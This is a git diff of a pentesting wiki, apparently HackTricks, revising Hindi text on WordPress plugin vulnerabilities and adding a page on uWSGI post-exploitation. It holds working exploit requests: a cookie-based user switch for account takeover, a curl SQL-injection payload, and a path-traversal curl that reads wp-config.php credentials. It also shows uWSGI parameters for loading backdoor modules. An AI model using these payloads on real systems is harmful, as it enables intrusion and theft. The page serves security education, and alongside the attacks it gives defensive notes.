+- рдЕрд╕реНрдерд╛рдпреА role switches рдХреЗ рд▓рд┐рдП рдиреНрдпреВрдирддрдо state рд╣реА рд╕реНрдЯреЛрд░ рдХрд░рдиреЗ рдФрд░ time-limited, capability-guarded tokens рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдиреЗ рдкрд░ рд╡рд┐рдЪрд╛рд░ рдХрд░реЗрдВред
---
-### Unauthenticated privilege escalation via cookieтАСtrusted user switching on public `init` (Service Finder тАЬsf-bookingтАЭ)
+### Unauthenticated privilege escalation via cookieтАСtrusted user switching on public init (Service Finder тАЬsf-bookingтАЭ)
-рдХреБрдЫ plugins рд╕рд╛рд░реНрд╡рдЬрдирд┐рдХ `init` hook рдкрд░ user-switching helpers рдХреЛ рдЬреЛрдбрд╝рддреЗ рд╣реИрдВ рдФрд░ рдкрд╣рдЪрд╛рди client-controlled cookie рд╕реЗ рдирд┐рдХрд╛рд▓рддреЗ рд╣реИрдВред рдпрджрд┐ рдХреЛрдб `wp_set_auth_cookie()` рдХреЛ authentication, capability рдФрд░ рдПрдХ рд╡реИрдз nonce рд╕рддреНрдпрд╛рдкрд┐рдд рдХрд┐рдП рдмрд┐рдирд╛ рдХреЙрд▓ рдХрд░рддрд╛ рд╣реИ, рддреЛ рдХреЛрдИ рднреА unauthenticated рд╡рд┐рдЬрд╝рд┐рдЯрд░ рдХрд┐рд╕реА рднреА arbitrary user ID рдХреЗ рд░реВрдк рдореЗрдВ рд▓реЙрдЧрд┐рди рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдордЬрдмреВрд░ рдХрд░ рд╕рдХрддрд╛ рд╣реИред
+рдХреБрдЫ plugins рд╕рд╛рд░реНрд╡рдЬрдирд┐рдХ `init` hook рдкрд░ user-switching helpers рдХреЛ рдЬреЛрдбрд╝рддреЗ рд╣реИрдВ рдФрд░ рдкрд╣рдЪрд╛рди client-controlled cookie рд╕реЗ рдирд┐рдХрд╛рд▓реА рдЬрд╛рддреА рд╣реИред рдпрджрд┐ рдХреЛрдб authentication, capability рдФрд░ рдПрдХ рд╡реИрдз `nonce` рдХреА рдкреБрд╖реНрдЯрд┐ рдХрд┐рдП рдмрд┐рдирд╛ `wp_set_auth_cookie()` рдХреЛ рдХреЙрд▓ рдХрд░рддрд╛ рд╣реИ, рддреЛ рдХреЛрдИ рднреА unauthenticated visitor рдХрд┐рд╕реА рднреА arbitrary user ID рдХреЗ рд░реВрдк рдореЗрдВ рдЬреЛрдбрд╝-рдЬрдмрд░реНрджрд╕реНрддреА рд▓реЙрдЧрд┐рди рдХрд░рд╡рд╛ рд╕рдХрддрд╛ рд╣реИред
Typical vulnerable pattern (simplified from Service Finder Bookings тЙд 6.1):
```php
@@ -591,13 +589,13 @@ wp_die('Original user not found.');
wp_die('No original user found to switch back to.');
}
```
-рдХреНрдпреЛрдВ рдпрд╣ рд╢реЛрд╖рдг рдпреЛрдЧреНрдп рд╣реИ
+рдХреНрдпреЛрдВ рдпрд╣ exploitable рд╣реИ
-- рд╕рд╛рд░реНрд╡рдЬрдирд┐рдХ `init` hook рд╣реИрдВрдбрд▓рд░ рдХреЛ рдЧреИрд░-рдкреНрд░рдорд╛рдгреАрдХреГрдд рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛рдУрдВ рджреНрд╡рд╛рд░рд╛ рдкрд╣реБрдБрдЪрдиреЗ рдпреЛрдЧреНрдп рдмрдирд╛рддрд╛ рд╣реИ (рдХреЛрдИ `is_user_logged_in()` рдЧрд╛рд░реНрдб рдирд╣реАрдВ)ред
-- рдкрд╣рдЪрд╛рди рдХреНрд▓рд╛рдЗрдВрдЯ-рдкрд░рд┐рд╡рд░реНрддрдиреАрдп cookie (`original_user_id`) рд╕реЗ рдирд┐рдХрд╛рд▓реА рдЬрд╛рддреА рд╣реИред
-- рд╕реАрдзреЗ `wp_set_auth_cookie($uid)` рдХреЛ рдХреЙрд▓ рдХрд░рдирд╛ рдЕрдиреБрд░реЛрдзрдХрд░реНрддрд╛ рдХреЛ рдмрд┐рдирд╛ рдХрд┐рд╕реА capability/nonce рдЬрд╛рдБрдЪ рдХреЗ рдЙрд╕ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдХреЗ рд░реВрдк рдореЗрдВ рд▓реЙрдЧ рдЗрди рдХрд░ рджреЗрддрд╛ рд╣реИред
+- рд╕рд╛рд░реНрд╡рдЬрдирд┐рдХ `init` hook рд╣реИрдВрдбрд▓рд░ рдХреЛ unauthenticated users рджреНрд╡рд╛рд░рд╛ рдкрд╣реБрдБрдЪ рдпреЛрдЧреНрдп рдмрдирд╛рддрд╛ рд╣реИ (рдХреЛрдИ `is_user_logged_in()` guard рдирд╣реАрдВ).
+- рдкрд╣рдЪрд╛рди рдХреНрд▓рд╛рдЗрдВрдЯ-рдкрд░рд┐рд╡рд░реНрддрдиреАрдп cookie (`original_user_id`) рд╕реЗ рдирд┐рдХрд╛рд▓реА рдЬрд╛рддреА рд╣реИ.
+- `wp_set_auth_cookie($uid)` рдХреЗ рд╕реАрдзреЗ рдХреЙрд▓ рд╕реЗ рдЕрдиреБрд░реЛрдзрдХрд░реНрддрд╛ рдХреЛ рдЙрд╕ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдХреЗ рд░реВрдк рдореЗрдВ рд▓реЙрдЧ рдЗрди рдХрд░ рджрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ рдмрд┐рдирд╛ рдХрд┐рд╕реА capability/nonce рдЬрд╛рдВрдЪ рдХреЗ.
-рд╢реЛрд╖рдг (рдЧреИрд░-рдкреНрд░рдорд╛рдгреАрдХреГрдд)
+Exploitation (unauthenticated)
```http
GET /?switch_back=1 HTTP/1.1
Host: victim.example
@@ -607,32 +605,32 @@ Connection: close
```
---
-### WAF considerations for WordPress/plugin CVEs
+### WordPress/plugin CVEs рдХреЗ рд▓рд┐рдП WAF рдкрд░ рд╡рд┐рдЪрд╛рд░
-Generic edge/server WAFs рд╡реНрдпрд╛рдкрдХ рдкреИрдЯрд░реНрди (SQLi, XSS, LFI) рдХреЗ рд▓рд┐рдП рдЯреНрдпреВрди рдХрд┐рдП рдЬрд╛рддреЗ рд╣реИрдВред рдХрдИ highтАСimpact WordPress/plugin flaws application-specific logic/auth рдмрдЧ рд╣реЛрддреЗ рд╣реИрдВ рдЬреЛ рддрдм рддрдХ рд╕рд╛рдорд╛рдиреНрдп рдЯреНрд░реИрдлрд╝рд┐рдХ рдЬреИрд╕реЗ рджрд┐рдЦрддреЗ рд╣реИрдВ рдЬрдм рддрдХ рдЗрдВрдЬрди WordPress routes рдФрд░ plugin semantics рдХреЛ рди рд╕рдордЭреЗред
+Generic edge/server WAFs рд╡реНрдпрд╛рдкрдХ рдкреИрдЯрд░реНрди (SQLi, XSS, LFI) рдХреЗ рд▓рд┐рдП рдЯреНрдпреВрди рдХрд┐рдП рдЧрдП рд╣реЛрддреЗ рд╣реИрдВред рдХрдИ highтАСimpact WordPress/plugin flaws рдПрдкреНрд▓рд┐рдХреЗрд╢рди-рд╡рд┐рд╢рд┐рд╖реНрдЯ рд▓реЙрдЬрд┐рдХ/auth рдмрдЧ рд╣реЛрддреЗ рд╣реИрдВ рдЬреЛ рд╕рд╛рдорд╛рдиреНрдп рдЯреНрд░реИрдлрд╝рд┐рдХ рдЬреИрд╕рд╛ рджрд┐рдЦрддреЗ рд╣реИрдВ рдЬрдм рддрдХ engine WordPress routes рдФрд░ plugin semantics рдХреЛ рди рд╕рдордЭреЗред
Offensive notes
-- рдкреНрд▓рдЧрдЗрди-рд╡рд┐рд╢рд┐рд╖реНрдЯ endpoints рдХреЛ clean payloads рдХреЗ рд╕рд╛рде рд▓рдХреНрд╖рд┐рдд рдХрд░реЗрдВ: `admin-ajax.php?action=...`, `wp-json//`, custom file handlers, shortcodes.
-- рдкрд╣рд▓реЗ unauth paths рдХрд╛ рдкрд░реАрдХреНрд╖рдг рдХрд░реЗрдВ (AJAX `nopriv`, REST with permissive `permission_callback`, public shortcodes)ред Default payloads рдЕрдХреНрд╕рд░ рдмрд┐рдирд╛ obfuscation рдХреЗ рд╕рдлрд▓ рд╣реЛрддреЗ рд╣реИрдВред
-- рд╕рд╛рдорд╛рдиреНрдп high-impact рдорд╛рдорд▓реЗ: privilege escalation (broken access control), arbitrary file upload/download, LFI, open redirect.
+- рдХреНрд▓реАрди payloads рдХреЗ рд╕рд╛рде plugin-рд╡рд┐рд╢рд┐рд╖реНрдЯ endpoints рдХреЛ рд▓рдХреНрд╖рд┐рдд рдХрд░реЗрдВ: `admin-ajax.php?action=...`, `wp-json//`, custom file handlers, shortcodes.
+- рдкрд╣рд▓реЗ рдЕрдкреНрд░рдорд╛рдгреАрдХреГрдд paths рдЖрдЬрд╝рдорд╛рдПрдБ (AJAX `nopriv`, REST with permissive `permission_callback`, public shortcodes)ред рдбрд┐рдлрд╝реЙрд▓реНрдЯ payloads рдЕрдХреНрд╕рд░ рдмрд┐рдирд╛ obfuscation рдХреЗ рд╕рдлрд▓ рд╣реЛрддреЗ рд╣реИрдВред
+- рд╕рд╛рдорд╛рдиреНрдп high-impact рдорд╛рдорд▓реЛрдВ рдореЗрдВ рд╢рд╛рдорд┐рд▓ рд╣реИрдВ: privilege escalation (broken access control), arbitrary file upload/download, LFI, open redirect.
Defensive notes
-- plugin CVEs рдХреА рд╕реБрд░рдХреНрд╖рд╛ рдХреЗ рд▓рд┐рдП generic WAF signatures рдкрд░ рдирд┐рд░реНрднрд░ рди рд░рд╣реЗрдВред application-layer, vulnerability-specific virtual patches рд▓рд╛рдЧреВ рдХрд░реЗрдВ рдпрд╛ рдЬрд▓реНрджреА рдЕрдкрдбреЗрдЯ рдХрд░реЗрдВред
-- code рдореЗрдВ negative regex filters рдХреА рдмрдЬрд╛рдп positive-security checks (capabilities, nonces, strict input validation) рдХреЛ рдкреНрд░рд╛рдердорд┐рдХрддрд╛ рджреЗрдВред
+- plugin CVEs рдХреА рд╕реБрд░рдХреНрд╖рд╛ рдХреЗ рд▓рд┐рдП рд╕рд╛рдорд╛рдиреНрдп WAF signatures рдкрд░ рднрд░реЛрд╕рд╛ рди рдХрд░реЗрдВред рдПрдкреНрд▓рд┐рдХреЗрд╢рди-рд▓реЗрдпрд░, vulnerability-specific рд╡рд░реНрдЪреБрдЕрд▓ рдкреИрдЪ рд▓рд╛рдЧреВ рдХрд░реЗрдВ рдпрд╛ рдЬрд▓реНрджреА рдЕрдкрдбреЗрдЯ рдХрд░реЗрдВред
+- рдХреЛрдб рдореЗрдВ negative regex filters рдХреА рдмрдЬрд╛рдп positive-security checks рдХреЛ рдкреНрд░рд╛рдердорд┐рдХрддрд╛ рджреЗрдВ (capabilities, nonces, strict input validation)ред
-## WordPress Protection
+## WordPress рд╕реБрд░рдХреНрд╖рд╛
-### Regular Updates
+### рдирд┐рдпрдорд┐рдд рдЕрдкрдбреЗрдЯ
-рд╕реБрдирд┐рд╢реНрдЪрд┐рдд рдХрд░реЗрдВ рдХрд┐ WordPress, plugins, рдФрд░ themes рдЕрдк рдЯреВ рдбреЗрдЯ рд╣реИрдВред рдпрд╣ рднреА рд╕реБрдирд┐рд╢реНрдЪрд┐рдд рдХрд░реЗрдВ рдХрд┐ automated updating wp-config.php рдореЗрдВ рд╕рдХреНрд╖рдо рд╣реИ:
+рд╕реБрдирд┐рд╢реНрдЪрд┐рдд рдХрд░реЗрдВ рдХрд┐ WordPress, plugins, рдФрд░ themes рдЕрдкрдбреЗрдЯреЗрдб рд╣реИрдВред рд╕рд╛рде рд╣реА рдкреБрд╖реНрдЯрд┐ рдХрд░реЗрдВ рдХрд┐ automated updating wp-config.php рдореЗрдВ рд╕рдХреНрд╖рдо рд╣реИ:
```bash
define( 'WP_AUTO_UPDATE_CORE', true );
add_filter( 'auto_update_plugin', '__return_true' );
add_filter( 'auto_update_theme', '__return_true' );
```
-Also, **рдХреЗрд╡рд▓ рднрд░реЛрд╕реЗрдордВрдж WordPress plugins рдФрд░ themes рд╣реА рдЗрдВрд╕реНрдЯреЙрд▓ рдХрд░реЗрдВ**ред
+рд╕рд╛рде рд╣реА, **рдХреЗрд╡рд▓ рднрд░реЛрд╕реЗрдордВрдж WordPress plugins рдФрд░ themes рд╣реА рдЗрдВрд╕реНрдЯреЙрд▓ рдХрд░реЗрдВ**ред
### рд╕реБрд░рдХреНрд╖рд╛ рдкреНрд▓рдЧрдЗрдиреНрд╕
@@ -644,14 +642,13 @@ Also, **рдХреЗрд╡рд▓ рднрд░реЛрд╕реЗрдордВрдж WordPress plugins рдФрд░ themes
- рдбрд┐рдлрд╝реЙрд▓реНрдЯ **admin** рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рд╣рдЯрд╛рдПрдБ
- **рдордЬрдмреВрдд рдкрд╛рд╕рд╡рд░реНрдб** рдФрд░ **2FA** рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░реЗрдВ
-- рдирд┐рдпрдорд┐рдд рд░реВрдк рд╕реЗ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛рдУрдВ рдХреА **рдЕрдиреБрдорддрд┐рдпрд╛рдБ** рдХреА **рд╕рдореАрдХреНрд╖рд╛** рдХрд░реЗрдВ
-- **рд▓реЙрдЧрд┐рди рдкреНрд░рдпрд╛рд╕реЛрдВ рдХреЛ рд╕реАрдорд┐рдд рдХрд░реЗрдВ** рддрд╛рдХрд┐ Brute Force attacks рдХреЛ рд░реЛрдХрд╛ рдЬрд╛ рд╕рдХреЗ
-- **`wp-admin.php`** рдлрд╝рд╛рдЗрд▓ рдХрд╛ рдирд╛рдо рдмрджрд▓реЗрдВ рдФрд░ рдХреЗрд╡рд▓ рдЖрдВрддрд░рд┐рдХ рд░реВрдк рд╕реЗ рдпрд╛ рдХреБрдЫ рд╡рд┐рд╢рд┐рд╖реНрдЯ IP рдкрддреЛрдВ рд╕реЗ рд╣реА рдкрд╣реБрдБрдЪ рдХреА рдЕрдиреБрдорддрд┐ рджреЗрдВред
+- рд╕рдордп-рд╕рдордп рдкрд░ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛рдУрдВ рдХреА **рдЕрдиреБрдорддрд┐рдпрд╛рдБ** рдХреА **рд╕рдореАрдХреНрд╖рд╛** рдХрд░реЗрдВ
+- Brute Force attacks рдХреЛ рд░реЛрдХрдиреЗ рдХреЗ рд▓рд┐рдП **рд▓реЙрдЧрд┐рди рдкреНрд░рдпрд╛рд╕реЛрдВ рдХреЛ рд╕реАрдорд┐рдд рдХрд░реЗрдВ**
+- **`wp-admin.php`** рдлрд╝рд╛рдЗрд▓ рдХрд╛ рдирд╛рдо рдмрджрд▓реЗрдВ рдФрд░ рдХреЗрд╡рд▓ рдЖрдВрддрд░рд┐рдХ рд░реВрдк рд╕реЗ рдпрд╛ рдХреБрдЫ рдирд┐рд╢реНрдЪрд┐рдд IP рдкрддреЛрдВ рд╕реЗ рд╣реА рдкрд╣реБрдБрдЪ рдХреА рдЕрдиреБрдорддрд┐ рджреЗрдВред
+### Unauthenticated SQL Injection via insufficient validation (WP Job Portal <= 2.3.2)
-### Unauthenticated SQL Injection тАФ рдЕрдкрд░реНрдпрд╛рдкреНрдд рд╡реИрд▓рд┐рдбреЗрд╢рди рдХреЗ рдХрд╛рд░рдг (WP Job Portal <= 2.3.2)
-
-The WP Job Portal recruitment plugin exposed a **savecategory** task that ultimately executes the following рдЕрд╕реБрд░рдХреНрд╖рд┐рдд рдХреЛрдб inside `modules/category/model.php::validateFormData()`:
+The WP Job Portal recruitment plugin рдиреЗ рдПрдХ **savecategory** рдЯрд╛рд╕реНрдХ рдЙрдЬрд╛рдЧрд░ рдХрд┐рдпрд╛ рдЬреЛ рдЕрдВрддрддрдГ `modules/category/model.php::validateFormData()` рдХреЗ рдЕрдВрджрд░ рдирд┐рдореНрдирд▓рд┐рдЦрд┐рдд vulnerable code рдХреЛ execute рдХрд░рддрд╛ рд╣реИ:
```php
$category = WPJOBPORTALrequest::getVar('parentid');
$inquery = ' ';
@@ -661,11 +658,11 @@ $inquery .= " WHERE parentid = $category "; // <-- direct concat тЬЧ
$query = "SELECT max(ordering)+1 AS maxordering FROM "
. wpjobportal::$_db->prefix . "wj_portal_categories " . $inquery; // executed later
```
-Issues introduced by this snippet:
+рдЗрд╕ snippet рд╕реЗ рдЙрддреНрдкрдиреНрди рдореБрджреНрджреЗ:
-1. **Unsanitised user input** тАУ `parentid` рд╕реАрдзреЗ HTTP request рд╕реЗ рдЖрддрд╛ рд╣реИ.
-2. **String concatenation inside the WHERE clause** тАУ `is_numeric()` / `esc_sql()` / prepared statement рдХрд╛ рдЙрдкрдпреЛрдЧ рдирд╣реАрдВ рдХрд┐рдпрд╛ рдЧрдпрд╛ рд╣реИ.
-3. **Unauthenticated reachability** тАУ рд╣рд╛рд▓рд╛рдВрдХрд┐ action `admin-post.php` рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ execute рд╣реЛрддрд╛ рд╣реИ, рдореМрдЬреВрдж рдХреЗрд╡рд▓ рдЬрд╛рдВрдЪ **CSRF nonce** (`wp_verify_nonce()` ) рд╣реИ, рдЬрд┐рд╕реЗ рдХреЛрдИ рднреА рд╡рд┐рдЬрд╝рд┐рдЯрд░ рдЙрд╕ рдкрдмреНрд▓рд┐рдХ рдкреЗрдЬ рд╕реЗ рдкреНрд░рд╛рдкреНрдд рдХрд░ рд╕рдХрддрд╛ рд╣реИ рдЬреЛ shortcode `[wpjobportal_my_resumes]` embed рдХрд░рддрд╛ рд╣реИред
+1. **Unsanitised user input** тАУ `parentid` рд╕реАрдзрд╛ HTTP request рд╕реЗ рдЖрддрд╛ рд╣реИред
+2. **String concatenation inside the WHERE clause** тАУ рдХреЛрдИ `is_numeric()` / `esc_sql()` / prepared statement рдирд╣реАрдВ рд╣реИред
+3. **Unauthenticated reachability** тАУ рднрд▓реЗ рд╣реА action `admin-post.php` рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ execute рд╣реЛрддрд╛ рд╣реИ, рдпрд╣рд╛рдБ рд╕рд┐рд░реНрдлрд╝ рдПрдХ рдЪреЗрдХ рд╣реИ: **CSRF nonce** (`wp_verify_nonce()`), рдЬрд┐рд╕реЗ рдХреЛрдИ рднреА рд╡рд┐рдЬрд╝рд┐рдЯрд░ рдЙрд╕ public рдкреЗрдЬ рд╕реЗ рдкреНрд░рд╛рдкреНрдд рдХрд░ рд╕рдХрддрд╛ рд╣реИ рдЬреЛ shortcode `[wpjobportal_my_resumes]` embed рдХрд░рддрд╛ рд╣реИред
#### рд╢реЛрд╖рдг
@@ -673,7 +670,7 @@ Issues introduced by this snippet:
```bash
curl -s https://victim.com/my-resumes/ | grep -oE 'name="_wpnonce" value="[a-f0-9]+' | cut -d'"' -f4
```
-2. `parentid` рдХрд╛ рджреБрд░реБрдкрдпреЛрдЧ рдХрд░рдХреЗ arbitrary SQL inject рдХрд░реЗрдВ:
+2. `parentid` рдХрд╛ рджреБрд░реБрдкрдпреЛрдЧ рдХрд░рдХреЗ arbitrary SQL рдЗрдВрдЬреЗрдХреНрдЯ рдХрд░реЗрдВ:
```bash
curl -X POST https://victim.com/wp-admin/admin-post.php \
-d 'task=savecategory' \
@@ -681,18 +678,18 @@ curl -X POST https://victim.com/wp-admin/admin-post.php \
-d 'parentid=0 OR 1=1-- -' \
-d 'cat_title=pwn' -d 'id='
```
-Response рдЗрдВрдЬреЗрдХреНрдЯ рдХрд┐рдП рдЧрдП query рдХрд╛ рдкрд░рд┐рдгрд╛рдо рдЙрдЬрд╛рдЧрд░ рдХрд░рддрд╛ рд╣реИ рдпрд╛ database рдХреЛ рдмрджрд▓ рджреЗрддрд╛ рд╣реИ, рдЬрд┐рд╕рд╕реЗ SQLi рд╕рд╛рдмрд┐рдд рд╣реЛрддрд╛ рд╣реИред
+рд░рд┐рд╕реНрдкреЙрдиреНрд╕ injected query рдХрд╛ рдкрд░рд┐рдгрд╛рдо рдкреНрд░рдХрдЯ рдХрд░рддрд╛ рд╣реИ рдпрд╛ database рдХреЛ рдмрджрд▓ рджреЗрддрд╛ рд╣реИ, рдЬрд┐рд╕рд╕реЗ SQLi рд╕рд╛рдмрд┐рдд рд╣реЛрддрд╛ рд╣реИред
-### Unauthenticated Arbitrary File Download / Path Traversal (WP Job Portal <= 2.3.2)
+### рдЕрдирдкреНрд░рдорд╛рдгрд┐рдд Arbitrary File Download / Path Traversal (WP Job Portal <= 2.3.2)
-рдПрдХ рдФрд░ рдЯрд╛рд╕реНрдХ, **downloadcustomfile**, рд╡рд┐рдЬрд╝рд┐рдЯрд░реНрд╕ рдХреЛ path traversal рдХреЗ рдЬрд░рд┐рдП рдбрд┐рд╕реНрдХ рдкрд░ рдореМрдЬреВрдж **рдХрд┐рд╕реА рднреА рдлрд╛рдЗрд▓** рдбрд╛рдЙрдирд▓реЛрдб рдХрд░рдиреЗ рдХреА рдЕрдиреБрдорддрд┐ рджреЗрддрд╛ рдерд╛ред рдХрдордЬреЛрд░ sink `modules/customfield/model.php::downloadCustomUploadedFile()` рдореЗрдВ рд╕реНрдерд┐рдд рд╣реИ:
+рдПрдХ рдФрд░ task, **downloadcustomfile**, рд╡рд┐рдЬрд╝рд┐рдЯрд░реНрд╕ рдХреЛ path traversal рдХреЗ рдЬрд░рд┐рдП **disk рдкрд░ рдореМрдЬреВрдж рдХрд┐рд╕реА рднреА file** рдХреЛ рдбрд╛рдЙрдирд▓реЛрдб рдХрд░рдиреЗ рдХреА рдЕрдиреБрдорддрд┐ рджреЗрддрд╛ рдерд╛ред рдХрдордЬреЛрд░ sink `modules/customfield/model.php::downloadCustomUploadedFile()` рдореЗрдВ рд╕реНрдерд┐рдд рд╣реИ:
```php
$file = $path . '/' . $file_name;
...
echo $wp_filesystem->get_contents($file); // raw file output
```
-`$file_name` рд╣рдорд▓рд╛рд╡рд░ рджреНрд╡рд╛рд░рд╛ рдирд┐рдпрдВрддреНрд░рд┐рдд рд╣реИ рдФрд░ concatenated **without sanitisation**ред рдлрд┐рд░ рд╕реЗ, рдПрдХрдорд╛рддреНрд░ рдмрд╛рдзрд╛ **CSRF nonce** рд╣реИ рдЬрд┐рд╕реЗ resume page рд╕реЗ рдкреНрд░рд╛рдкреНрдд рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИред
+`$file_name` рдЕрдЯреИрдХрд░-рдирд┐рдпрдВрддреНрд░рд┐рдд рд╣реИ рдФрд░ рдмрд┐рдирд╛ **sanitisation** рдХреЗ рдЬреЛрдбрд╝ рджрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИред рдлрд┐рд░ рд╕реЗ, рдПрдХрдорд╛рддреНрд░ рдмрд╛рдзрд╛ рдПрдХ **CSRF nonce** рд╣реИ рдЬрд┐рд╕реЗ resume рдкреГрд╖реНрда рд╕реЗ рдкреНрд░рд╛рдкреНрдд рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИред
#### Exploitation
```bash
@@ -703,7 +700,7 @@ curl -G https://victim.com/wp-admin/admin-post.php \
--data-urlencode 'entity_id=1' \
--data-urlencode 'file_name=../../../wp-config.php'
```
-рд╕рд░реНрд╡рд░ `wp-config.php` рдХреА рд╕рд╛рдордЧреНрд░реА рд╡рд╛рдкрд╕ рдХрд░рддрд╛ рд╣реИ, leaking DB credentials and auth keysред
+рд╕рд░реНрд╡рд░ `wp-config.php` рдХреА рд╕рд╛рдордЧреНрд░реА рдХреЗ рд╕рд╛рде рдкреНрд░рддрд┐рдХреНрд░рд┐рдпрд╛ рджреЗрддрд╛ рд╣реИ, leaking DB credentials рдФрд░ auth keysред
## рд╕рдВрджрд░реНрдн
diff --git a/src/network-services-pentesting/pentesting-web/wsgi.md b/src/network-services-pentesting/pentesting-web/wsgi.md
new file mode 100644
index 000000000..4b6fd0c4b
--- /dev/null
+++ b/src/network-services-pentesting/pentesting-web/wsgi.md
@@ -0,0 +1,169 @@
+# WSGI рдкреЛрд╕реНрдЯ-рдПрдХреНрд╕рдкреНрд▓реЙрдЗрдЯреЗрд╢рди рдЯреНрд░рд┐рдХреНрд╕
+
+{{#include ../../banners/hacktricks-training.md}}
+
+## WSGI рдЕрд╡рд▓реЛрдХрди
+
+Web Server Gateway Interface (WSGI) рдПрдХ specification рд╣реИ рдЬреЛ рдмрддрд╛рддреА рд╣реИ рдХрд┐ рдПрдХ web server рдХреИрд╕реЗ web applications рдХреЗ рд╕рд╛рде рд╕рдВрдЪрд╛рд░ рдХрд░рддрд╛ рд╣реИ, рдФрд░ рдХреИрд╕реЗ web applications рдХреЛ рдПрдХ рдЕрдиреБрд░реЛрдз рдХреЛ рдкреНрд░реЛрд╕реЗрд╕ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП chaining рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ рдЬреЛрдбрд╝рд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИред uWSGI рд╕рдмрд╕реЗ рд▓реЛрдХрдкреНрд░рд┐рдп WSGI servers рдореЗрдВ рд╕реЗ рдПрдХ рд╣реИ, рдЕрдХреНрд╕рд░ Python web applications рдХреЛ serve рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдЙрдкрдпреЛрдЧ рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИред
+
+## uWSGI рдореИрдЬрд┐рдХ рд╡реЗрд░рд┐рдПрдмрд▓реНрд╕ рдХрд╛ рд╢реЛрд╖рдг
+
+uWSGI рд╡рд┐рд╢реЗрд╖ "magic variables" рдкреНрд░рджрд╛рди рдХрд░рддрд╛ рд╣реИ рдЬрд┐рдиреНрд╣реЗрдВ server рд╡реНрдпрд╡рд╣рд╛рд░ рдХреЛ dynamic рд░реВрдк рд╕реЗ configure рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдЙрдкрдпреЛрдЧ рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИред рдпреЗ variables HTTP headers рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ рд╕реЗрдЯ рдХрд┐рдП рдЬрд╛ рд╕рдХрддреЗ рд╣реИрдВ рдФрд░ рдпрджрд┐ рд╕рд╣реА рддрд░рд╣ рд╕реЗ validate рди рдХрд┐рдП рдЬрд╛рдПрдБ рддреЛ рдЧрдВрднреАрд░ рд╕реБрд░рдХреНрд╖рд╛ рдХрдордЬреЛрд░рд┐рдпрд╛рдБ рдкреИрджрд╛ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВред
+
+### рдкреНрд░рдореБрдЦ рд╢реЛрд╖рдгреАрдп рд╡реЗрд░рд┐рдПрдмрд▓реНрд╕
+
+#### `UWSGI_FILE` - рдордирдорд╛рдиреА рдлрд╝рд╛рдЗрд▓ рдирд┐рд╖реНрдкрд╛рджрди
+```
+uwsgi_param UWSGI_FILE /path/to/python/file.py;
+```
+рдпрд╣ рд╡реЗрд░рд┐рдПрдмрд▓ рдХрд┐рд╕реА рднреА Python рдлрд╛рдЗрд▓реЛрдВ рдХреЛ WSGI рдПрдкреНрд▓рд┐рдХреЗрд╢рди рдХреЗ рд░реВрдк рдореЗрдВ рд▓реЛрдб рдФрд░ рдирд┐рд╖реНрдкрд╛рджрд┐рдд рдХрд░рдиреЗ рдХреА рдЕрдиреБрдорддрд┐ рджреЗрддрд╛ рд╣реИред рдЕрдЧрд░ рдХреЛрдИ attacker рдЗрд╕ рдкреИрд░рд╛рдореАрдЯрд░ рдХреЛ рдирд┐рдпрдВрддреНрд░рд┐рдд рдХрд░ рд╕рдХрддрд╛ рд╣реИ, рддреЛ рд╡реЗ Remote Code Execution (RCE) рд╣рд╛рд╕рд┐рд▓ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВред
+
+#### `UWSGI_SCRIPT` - Script Loading
+```
+uwsgi_param UWSGI_SCRIPT module.path:callable;
+uwsgi_param SCRIPT_NAME /endpoint;
+```
+рдирд┐рд╢реНрдЪрд┐рдд рд╕реНрдХреНрд░рд┐рдкреНрдЯ рдХреЛ рдПрдХ рдирдП рдПрдкреНрд▓рд┐рдХреЗрд╢рди рдХреЗ рд░реВрдк рдореЗрдВ рд▓реЛрдб рдХрд░рддрд╛ рд╣реИред file upload рдпрд╛ write capabilities рдХреЗ рд╕рд╛рде рд╕рдВрдпреЛрдЬрди рдореЗрдВ, рдЗрд╕рд╕реЗ RCE рд╣реЛ рд╕рдХрддрд╛ рд╣реИред
+
+#### `UWSGI_MODULE` and `UWSGI_CALLABLE` - рдбрд╛рдпрдирд╛рдорд┐рдХ рдореЙрдбреНрдпреВрд▓ рд▓реЛрдбрд┐рдВрдЧ
+```
+uwsgi_param UWSGI_MODULE malicious.module;
+uwsgi_param UWSGI_CALLABLE evil_function;
+uwsgi_param SCRIPT_NAME /backdoor;
+```
+рдпреЗ рдкреИрд░рд╛рдореАрдЯрд░реНрд╕ arbitrary Python modules рд▓реЛрдб рдХрд░рдиреЗ рдФрд░ рдЙрдирдХреЗ рднреАрддрд░ specific functions рдХреЙрд▓ рдХрд░рдиреЗ рдХреА рдЕрдиреБрдорддрд┐ рджреЗрддреЗ рд╣реИрдВред
+
+#### `UWSGI_SETENV` - Environment Variable Manipulation
+```
+uwsgi_param UWSGI_SETENV DJANGO_SETTINGS_MODULE=malicious.settings;
+```
